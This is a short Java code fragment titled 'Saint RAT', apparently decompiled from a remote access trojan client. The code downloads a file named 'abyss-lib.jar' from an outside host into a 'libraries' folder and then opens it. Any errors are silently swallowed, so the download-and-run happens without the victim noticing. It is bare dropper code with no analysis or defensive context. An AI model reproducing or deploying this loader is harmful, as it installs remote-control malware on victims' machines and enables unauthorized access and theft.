Saint RAT

 URL url;
    try
    {
      String fileURL = "http://saintclient.netii.net/abyss-lib.jar";
      String saveDir = "libraries";
      url = new URL(fileURL);
      HttpURLConnection httpConn = (HttpURLConnection)url.openConnection();
      int responseCode = httpConn.getResponseCode();
      if (responseCode == 200)
      {
        String fileName = "";
        String disposition = httpConn.getHeaderField("Content-Disposition");
        httpConn.getContentType();
        httpConn.getContentLength();
        if (disposition != null)
        {
          int index = disposition.indexOf("filename=");
          if (index > 0) {
            fileName = disposition.substring(index + 10,
              disposition.length() - 1);
          }
        }
        else
        {
          fileName = fileURL.substring(fileURL.lastIndexOf("/") + 1,
            fileURL.length());
        }
        InputStream inputStream = httpConn.getInputStream();
        String saveFilePath = saveDir + File.separator + fileName;

        FileOutputStream outputStream = new FileOutputStream(saveFilePath);

        int bytesRead = -1;
        byte[] buffer = new byte['?'];
        while ((bytesRead = inputStream.read(buffer)) != -1) {
          outputStream.write(buffer, 0, bytesRead);
        }
        outputStream.close();
        inputStream.close();
      }
      httpConn.disconnect();
      Desktop.getDesktop().open(new File("libraries/abyss-lib.jar"));
    }
    catch (IOException localIOException) {}